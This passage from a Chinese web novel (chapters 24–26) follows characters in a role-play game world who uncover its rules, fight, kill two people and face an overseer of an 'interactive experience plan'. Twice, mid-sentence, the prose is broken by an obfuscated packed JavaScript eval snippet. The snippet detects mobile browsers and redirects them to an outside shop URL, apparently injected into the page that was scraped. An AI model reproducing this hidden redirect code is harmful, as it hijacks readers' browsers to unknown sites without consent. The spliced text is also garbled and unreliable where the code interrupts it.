/p> “‘索尔卡特’这个名字又被称作‘日影猫’，有传闻说如果有幸能抓取到太阳在那一瞬间跳过的痕迹，影子可以代替人活过一天*。 那场意外的大火降临，你和自己的双胞胎姐妹命丧其中，这场大火带走了太多东西，断生之人的时间暂停，本该封存的游乐场却以另一种形式得到了重启，而你们被终止在那一刻的生命得到了延续。” 霜白语浅浅地嘶了一声，胸口传来阵阵钝痛感。 即使索尔卡特明面上没做任何事，但其他被故事唤回到他们认知里真相的人并没有停止动作，时刻增长的仇恨值源源不断地锁定在他身上。 和先前被人为控制诱导招致的针对不同，来自剧情影响下的仇恨对他造成了更实质的伤害。 偏偏他还没办法加快语速。 “实际重点并不在年龄。” 霜白语说出这个结论，来自周围的压迫感陡然加重，平衡在飞速崩塌，此刻的他仿佛站在悬崖峭壁边，已经能清晰地感知到不远处崩裂的岩石土块。而呼吸间已经尽是血腥气，他讨厌自己血的味道。 在拿到那张角色扮演本的入场券时，故事背景就交代了要他们寻找一对双胞胎姐妹，主体在人，可随后他们经历的一切被刻意转移了重心，将落点聚集在了年龄上，并且在又一次时间重启时认定了这个结论。 但自始至终，出现在他们面前的只有索尔卡特一个人。 “索尔卡特，本身就是答案，光影交替彼此共存，你和你的姐妹在这个时间夹缝中以一人的身份共同存在。” “原来如此。” 凛华若有所思地认真考虑着这个问题。 “感谢你们让我确定了一件事，”他面上的笑意不知何时已经淡去，冷然着脸看过来时，像在看两个已死之人。 “你们早就知道这里本质上是一场游戏，之所以表现得不相信葵说的话，又把他的同伴当做目标，是意识到了和那两个人、确切地说是跟哲平牵扯过深会被游戏世界逐步同化，一旦同化率达到百分之百，会被永久地留在这里。” 和这个游戏外的真实世界有异曲同工之妙。 “于是你们想着，或许彻底地毁掉这里，就不存在被留下的概念了。” 如音戒备地看着对方，虽然这时候的抵抗在实力差距面前没有任何意义。她不明白对方为何突然转变了态度，同为剧本角色，埃斯特并没有表现出前后强烈的反差。 “关于这点，你们应该没有和其他人透露过吧？” 在得到肯定答复后，凛华满意地点头，“那就好，万幸他现在还不清楚这点，不过得抓紧了，真被摸出真相可就不好玩了。我赶时间，你们自便吧。” 话音落下，他如同来时那样，瞬间消失在他们面前。 不等如音和她男友放松下来，他们只听见了两声钝刀入肉的沉闷响声。缓了半拍，他们难以置信地低下头，殷红色正渗透衣衫，逐步蔓扩向四周，最后的最后只来得及瞥见一个好似困极了的少年在打哈欠。 “嗯嗯，BUG已清除，又两个。” 埃斯特满不在乎地撑开手臂伸了个懒腰，向着凛华离开的方向眯了眯眼，“好麻烦，还有两个，这日子啥时候能到头啊，不想干了——” 25. 因果因果 “确实如此，你的想法完全正确。本来还以为能完全留下你的，哪怕晚上那么一分钟说出这点。” 索尔卡特真情实感地叹着气，她的话再次成为了某种指向标，其他人的行动滞缓不少，给出了霜白语一定喘息的机会。 “时间夹缝中的游乐场让我们重回人间，同时也增加了诸多不便，我们必须听从加诸己身的规则之安排。” 她指了指人群中的哲平，“一遍遍地讲述故事。” 又将指尖对准自己，“一次次地引导他人。” 霜白语并没有因为索尔卡特肯定自己的说法而放松警惕，他原本的设想是一旦指出角色扮演剧本的真相，就会脱离游乐场，至少能离开这个时间夹缝。 但并没有。而索尔卡特的话题还在继续。 “要想达成目的只能卑微地寄希望于新到来的游客出错。” 索尔卡特说到这里，语气重新欢快起来，她的话锋一转，“但和你来自同源地方的人就不一定了，来自他的刻意针对会让我的期望不止是期望。即便是现在，也不例外~” 天地间骤然褪色，点与点缀连着炸开一线。 被定位到的感觉过分强烈，几乎就踩着索尔卡特话音落下的点。 霜白语没有搭话，径直越过人群，不容抗拒地强行清出一条道路。被推挤开的人维持着歪向一侧的姿势，来不及重新聚拢，密集包围圈直接破开了一角。 彼此间的距离逐渐拉近缩短，霜白语目标明确地伸手够向背对着人潮的哲平。 眼看着就能抓到对方胳膊，下一秒，眼前的空间突兀地扭曲变换，霜白语捞了个空。 愉悦的口哨声从他身后另个方向传来。 霜白语猛地回头，浑身紧绷地看向来人，确切地说是看向被他抓在手里的哲平。 凛华：“~” “看来你果然很在意他，这让我有点好奇了，除了你刚才说的那些，还隐瞒了别的什么？” 凛华对霜白语眨眨眼，闲适地跟他聊着天，卡住哲平脖子的手却在一点点加重力道。 眼镜青年现在的思绪还是乱的，他因为霜白语之前的打断，被迫卡在微妙且不上不下的状态中——保持着基本的生理反应，被剥夺肺中空气时脸涨得通红，但偏偏他不会为了生存而挣扎。 霜白语暗自咬紧了后槽牙。 “没有。那是我已经知晓的全部。” 凛华点头表示理解，同时手头的动作表示他虽然理解但并不相信。 霜白语在思考。 从认识哲平开始，他多数时间都和葵绑定出现。但在一八三一年的那个夏天，哲平只身一人来到的游乐场，这意味着死在那场大火中被停止时间的也只有哲平。 葵会不知道这点吗？如果他们是亲密无间的伙伴，这么久的相处，加上他一直在强调和所做的事，时刻提防别人和他们有过多的牵扯。 这并不是出自对陌生人的警惕。 另一种解释，代入哲平已经死亡却又在‘这里’活过来的事实，葵和他相处这么久，很可能也已经被同化死亡。 当时，霜白语让哲平开始讲述故事，葵就在距离他们几步远的地方。可是他现在丝毫回想不起来，葵是从什么时候消失在视野中的。 凛华略微眯起眼，观察着霜白语的每一丝表情变化，他们接触时间不算长，虽然身处同一屋檐但一直井水不犯河水。大部分时候，只要凛华不主动找事，霜白语都会当他不存在。 这不代表凛华不熟悉对方的一些习惯。 好比他现在知道他的饲主确实有事瞒着他，但隐瞒只是目的，内容是什么并不重要。关键在于霜白语借隐瞒这个动作本身，吸引自己的好奇心，是为了达成什么目的。 “我这人确实挺有一些执念在身上的，越是笃定告诉我的结果，我越觉得它不是真的，只会想方设法地挖掘真相。” 凛华手上的力度再次加大，控制在一个哲平不会立马死掉，但如果霜白语不肯配合就不一定的力度上，边说边走向对方。 也就是在这时候，一直处于混沌状态的哲平清醒过来，他抓着凛华扣住他脖子的手，死命捶打着人。但他捶打的方式又非常不得要领，说不出是想拉拽对方松开自己的脖子，还是想给他手上抓几道伤。 断断续续的音节从哲平的喉咙里冒出来，他的双眼被迫睁大，隔着一层镜片也能看见他微微外凸的眼球，上面布满了一条条血丝，瞧着十分凄惨。 但即便如此，哲平对上凛华，也属于战力被绝对碾压，拼尽全力没能伤到对方丝毫不说，自己反倒快要力竭。 霜白语皱紧了双眉，沉默无声蔓延的那会，除了他自己，没人知道他具体在想什么。 半秒不到的时间，他松开紧簇的眉头。 “先放开他，你想知道什么直接问就是了，我知道的都可以说，但除此之外，不知道就是不知道。你就算真把他掐死了，这结果也不会改变。” “好吧。” 凛华确定霜白语说的是实话，松开了对哲平的束缚。 眼镜青年狼狈不堪地开始咳嗽，坠向地面期间，他的目光很短暂地朝霜白语看去，像在无声传达着某种只有彼此才能确认的信息。 “那我们现在……” 凛华没来得及讲完，他耳边很突然地闪过了‘啪嚓’一声响，像是某种大型设备跳闸时的鬼动静。又奇妙地穿透这幅皮囊，直接在颅内达成了一种空膛效应。 啪嚓。 凛华歪了下脑袋，试图躲开这点奇怪的响动，可惜它就盘踞在自己大脑中，时不时地跳响。 他的第一反应是霜白语搞的鬼，但在这段时间，对方几乎时刻都躲着他走，没有太多近身的机会，更别提反过来给他动手脚了。 “……唔，我感觉不太妙。”凛华用掌根托着自己的额头，狠狠砸了两下，但是没有任何作用，“你对我做了什么？” 不远处的霜白语耸耸肩，他身边站着不知何时走过去的哲平。眼镜青年身后的地上浅浅托扶着一层影子，不仅仅只是他自己的，更像是有另外一团影子附在上面。 细看会发现哲平仿佛刚停下嚅嗫的微小动作，他正保持着嘴唇不动单靠舌头发力念词的状态。 “我什么都没做，只是你方才的行为让因果的线牵连在了你身上。言语有灵，你想要利用无辜者的命做交易得到自己的情报，总得付出点微末的代价。” 对于凛华自食恶果，霜白语是这么解释的。 “你管这叫做微末代价？” 凛华难以置信地拔高了音调，他的声音不再似成年男性的低沉，短短一句话的时间，定调的尾音变成了脆生生的稚童所独有的。 他完完本本缩小了好几轮啊！而且这种感觉和虚弱期还不一样，虚弱期可以靠时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405203|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推移或者一些别的方式自动回能，等冷却结束自己会变回成年模样。 但现在这幅鬼样子！凛华的心境跟着外表年龄一起缩水了，无法再维持淡定，或许再给他一点时间，他都能直接当着这么多人的面表演个原地跳脚。 “啊！哥哥。” 没等凛华怎么质问控诉，又一道欢快的孩童声音从旁介入。 又有谁什么事！外表年龄目测不足两位数的魅魔愤怒看向声源处。 是索尔卡特。 她径直越过凛华，停在了霜白语跟前。她的眼底满是欣喜，亮晶晶的双眼直直看向青年，“你没有食言！” 在更早以前，霜白语和葵他们互通消息时发现了时间轴存在着差距，牵出了目前所处环境之上还有另一个更高的位面，再以此为条件，他找到索尔卡特提出了交易。 霜白语帮她揪出搅局的凛华，并给她一个走出这里的机会，作为交换，索尔卡特帮助隐藏了他的行踪。 “剧本运转少不了主角的存在。”索尔卡特双手交叠拍了拍掌心，她回头看向缩水的凛华，笑嘻嘻地说着，“而现在，有了新的人物替代我的位置，我也就可以跟着离开这里。” “你疯了啊！”凛华第二次对着霜白语喊，这一次完全没有演绎的成分，他真情流露了。 一个已经死去的人妄想脱离时间夹缝去往现实，绝无实现的可能。就算可以，迎接她的也只有真正的死亡。 魅魔圆润的双眸微微睁大，他像是意识到了某种可能似的看向霜白语。 青年微低着头，额发落下的阴影隔绝了他人窥伺其眼中情绪的可能。 顺着他当前姿势看去，对方目光的落点正是面前正对着自己的索尔卡特。 哈。凛华笑了，他的饲主原来打得这个主意。 更远处的树枝上，埃斯特盘腿靠坐着树干，他跟随着凛华的脚步来到了这片广场附近，围观了有段时间。 显然比起更往后的时间轴上那一场由如音在他的诱导下制造的爆炸，面前这个发展似乎更有趣一些。 没有将任何无辜的路人卷进来，走向勉强算在因果循环中。所有人各归其位，也就暂时被兴奋冲昏了头脑的索尔卡特会相信自己真得能成功离开这里。 这场游戏真正的主角打出了一个还算不错的结局，好像也行？ 刚好他也累了，不想再干更多的活，就让对方结束这一切吧。埃斯特后脑勺跟着靠在了树干上，闭眼不再去看。 “反正你也不会死。” 霜白语回答了凛华那一句控诉。 “抱歉，你知道的，规则束缚在你身上的枷锁让你留在游乐场，同时保护你以这样的形态继续‘活着’。你无法离开这里，无论他瞧着多像一个完美的替代品。” 这一句是对着表情冷下来的索尔卡特说的。 “但他会留在这里，陪着你。我们的交易到此为止。” 霜白语向后退去，每退远一步，他们之间就有火星子蹿起。 索尔卡特是想阻止的，但她抬起的手举到一半，手指微微蜷缩，最终还是放下了。 隔着冲天而起的火光，他们平静对视，谁也没有再说话。 哔卜的燃烧声中，属于眼镜青年的讲述声复又响起。 “……我清楚地记得，一八三一年的夏天，游乐场发生了一场意外，我们都死于那场大火。” 26. 游戏继续 霜白语睁开了眼。 熟悉的一条笔直通到底的道路，天空不再是暗色调的，路两边也没有成群的乌鸦对他行注目礼。 他回到了最初通往角色扮演剧本入口的地方。 感觉还有哪里不对劲。 霜白语按压着眉心，短暂的刺痛感让他清醒了一些。他回头去看最开始出现异样的涂鸦告示牌，上面手拉手的简笔画小人已经消失不见，取而代之的是一个巨大的摩天轮。 他试探着多角度绕着告示牌走，确认了这次的涂画处于完全的静态。 嬉笑声冷不丁地自身后响起。 霜白语僵直了背脊，立在原地许久不见下一步动作。这并非某种怪异行为举止被他人瞧去的赧然，而是刚才那个仿佛就在耳边响起的笑声，对方已经贴近到方寸间。可他在人出声前，一点都没察觉到。 “看不出来你这么意外，明明一开始到来的时候表现得很淡定。” 霜白语不着痕迹地退开了一步，缓慢转过身，看清了来人的模样。 是埃斯特，但又不完全像。 对方的声音和脸都还是埃斯特的，但是措辞习惯发生了改变，原本埃斯特带着的那股浓浓的困倦也从现在的他身上消失了。 霜白语抿了下唇，没接话。手头信息掌握不足的时候，只会说多错多。 “不觉得很熟悉这样的经历吗？” 埃斯特张开双臂浮夸地在原地转了一圈，演出服的下摆在空中荡开一抹圆润的弧线，服饰配置的带跟小皮鞋踩着地面铎铎直响。 他耐心解释说：“从一个位面瞬间进入到另一个同又不同的位面。只不过第一次你清楚记得两者的切换，但第二次，也就是在这里，这整个游乐场的空间切换，你并没有印象。” 埃斯特指了指自己的太阳穴。 “怎么就突然来到了这里——漆黑成群相拥的乌鸦静默凝视着你，诡异到只有你一人独自存在的天地，以及突兀出现的角色扮演场地入口。” 霜白语绷紧了身体，感觉到肌肉传来的酸涩之意。他以为脱离的游乐场位面之上，还存在着更高一层，他并没有离开。自始至终，对方能轻而易举地拨动控制他的记忆，而他浑然不知。 时间和世界的双层概念交杂，在这里没有了参考意义，是一旦深入思考就会把自己逼疯的境地。 “又或者说，”埃斯特轻咳一声，切换了说话的声调，仿佛无机质的冰冷机械音从他喉咙间发出，“欢迎屏幕前的你……” 阅览本次互动式体验计划。 霜白语脑内自动接续了这句话。 “你想起来了。”埃斯特满意地点头。 “原来我先前时刻感觉到的窥伺感，有一部分来源于你们。” “说‘窥伺’多少过分了些，请称呼其为‘观察’。” “别告诉我你特地把我拦在这里，只是想跟我玩字面意义上的文字游戏。”霜白语好似不耐烦地打断了他的话。每一次时间重启，他身上的疲倦感就加重一分。 现在他也丝毫不觉得松快，所在的位面或许发生了改变，但时间延续自游乐场之后，换言之，他并没有回到真正的现实。 “我来当然是给你送礼物的。” 埃斯特从身后掏出一块平板，他的手指在屏幕上划拉两下，调取出一个监控画面。 边缘闪烁的红点显示它为实时传输的图像。成排的机械舱摆放密密麻麻似棺椁，有数据记录员时刻关注着这些舱体传达出的状况。 他朝霜白语平举起手中的设备，指尖点住其中一处，双击放大。埃斯特毫无保留地向青年展示监控画面下躺在舱中的他的本体。 “目前的技术还没有太过成熟，如果你在游戏中死亡，躺在那的会变成真正的尸体，所以你最好还是不要只把这当成简单的游戏比较好。我们的设计理念来源自游戏，但实际你只有一条命。” 埃斯特高高在上地告知着霜白语一个事实，他的生死并不仅仅掌握在自己手中，只要他们想，随时可以动动手指，让那头无知无觉的躯体发生一点不可预见的意外。 偏偏目前的霜白语确实对此毫无反抗的能力，他甚至无法分辨这一切的真假，也感知不到镜头外的躯壳身处何处，站在这里的自己是真是假。 体验计划的目的又是什么。太多疑问随着埃斯特给到的信息一股脑地涌现。 索尔卡特提到过体验计划的事，她曾经是其中的一员，但当时她已经死亡，是身处时间夹缝中继续活着时加入的计划。在这里，时间本身已经失去了参考价值，并不能推断出这场计划开始于何时，挑选人的标准又是如何。 “现在你肯定一头雾水。”埃斯特贴心地阻止了霜白语继续思考，再想下去，除了陷在一个接一个的疑问中，对计划的推进没有任何帮助。 “等以后到时间了自然会知晓，不过有点你大可放心，我们都是可以给别人盖章的合规单位，不会干违法乱纪的事情。” “是吗。” 霜白语淡淡地接了一句，他强迫自己从胡乱发散的思维中抽离出来，用这样没多大情绪起伏的语气说话。 “不顾人意愿强行把人投放到另一个世界，又不明说需要体验什么，在人自行发挥时又不满意这样的发展，非得出来横插一脚。” 拇指指腹压过中指指节，霜白语露出很浅淡的嘲讽笑容。 “就这样还敢往自己脸上贴金，怎么？特地过来说一些似是而非的话，再给到一个威胁的结果，最后又说请你耐心等待，因为现在的你还不配有知晓真相的资格。特别显着你能耐了是不是？” 埃斯特张口哇哦了两声，不确定又满脸无辜地问：“这是被逼急了？” “是啊，去把那里躺着的我弄死吧。” 青年一幅爱咋咋，他不想奉陪了意思太过明显。 埃斯特沉默了，他用平板挡住半边脸。虽然之前确实有强买强卖的意思，但被选中的人进入体验计划后，他们能做到的只是‘监控’，并不能‘干预’。 早知道就不拿出那一套说法了，该直接交代来意的，他为什么非要嘴贱多此一举，是工作还不够多吗？ 埃斯特：“哈哈~” 霜白语：“？你没事干笑什么。” “好吧我得承认，你这开摆不配合的做派确实有用。”埃斯特收敛起玩笑，摆出公事公办的架势。 “之前在游乐场你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411272|200467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采取的一系列行动，我们对你的评估……算了，你不爱听这些，我直接说结果吧，你这行为不道德，不能把这么个麻烦丢给别人。” “所以？” 埃斯特露出‘就等着你问这句了’的表情，他把平板塞回去，从身后重新掏出个手机。少年在手机上轻叩两下，被点亮的屏幕里出现了一个等比缩小的Q版角色，俨然是应该待在游乐场的凛华。 对方现在还在沉睡，或许是缩小太多的缘故，卡通人物的特性被无限放大，隔着屏幕都能看出他胸口微微起伏的动静。 霜白语突然有种不太好的预感，下一秒埃斯特的话让这预感变成了残酷的现实。 “你知道目前这个位面本质上仍然在游戏世界，你并没有回到真正原本的世界中。而这也意味着很多在现实中无法实现的技术，在这里成为了一种可能。” “你难道希望我带着他到处走吗？”霜白语满脸不赞同地看着埃斯特。 “要是你担心这样太特立独行，我们可以增加变量，让所有人都拥有一个桌宠，后续也可以推出基于此展开的各种优惠政策，评选优秀职称也是没有问题的。” 霜白语看埃斯特的眼神从你在搞笑吗逐渐变成了我看你是终于工作到癫狂了。 “还不行？这已经是我们能做出的最大退让了。”埃斯特为难地直视霜白语，打定主意装傻到底。 人永远无法叫醒一个装睡的人，他们彼此都知晓对方在做样子，但总有一方需要妥协的，不然要么毫无意义地继续耗下去，要么只好采取一点非常规的手段打破这僵局。 霜白语一开始就没想过游乐场能真正地困住凛华，但起码能留给他真正休息的时间。要知道他是来度假转换心情的，不是为了换个地方继续工作，更不是累极了时想摸个鱼却发现凛华模样的桌宠时刻存在于电子产品中。 他是个成年人了，拥有足够的自控能力，并不需要以这种方式戒网瘾。 另一头的埃斯特尚且还在卖力地推销着桌宠计划的各类好处。 “你要是不想看见他，完全可以远离各类电子产品，桌宠形态的对方是最好拿捏的时刻，任你捏扁搓圆。这可不比凛华人形态时总在你面前碍眼来得好上百倍千倍吗？” “……”霜白语幽幽叹气，看来对方是打定了主意要将这桩买卖做下去了，“游戏通关的标准是什么？” 埃斯特无辜地眨眼。 “这点需要你自己探索哦。” 他像是知道霜白语的反应，飞快地抓过对方的手。不知用了什么手段割开青年的手指，一滴血液落在手机屏幕上，像落入水面那般泛起涟漪，转瞬和手机融为一体。 “这是为了防止你丢弃手机做的一点预防措施，希望你能理解我们的良苦用心。”埃斯特的声音从很遥远的地方飘过来。 霜白语指腹上的伤口于瞬息愈合，他对着手机中的桌宠狠狠拧起了双眉。现在去追埃斯特没有任何意义，显然对方最初的目的就是把这么个东西塞给他。 甚至事先想好了应对他反应的措施。 “叩叩。” 清脆的敲击声唤回了霜白语。他垂眼，和手机里的迷你版魅魔达成了对视。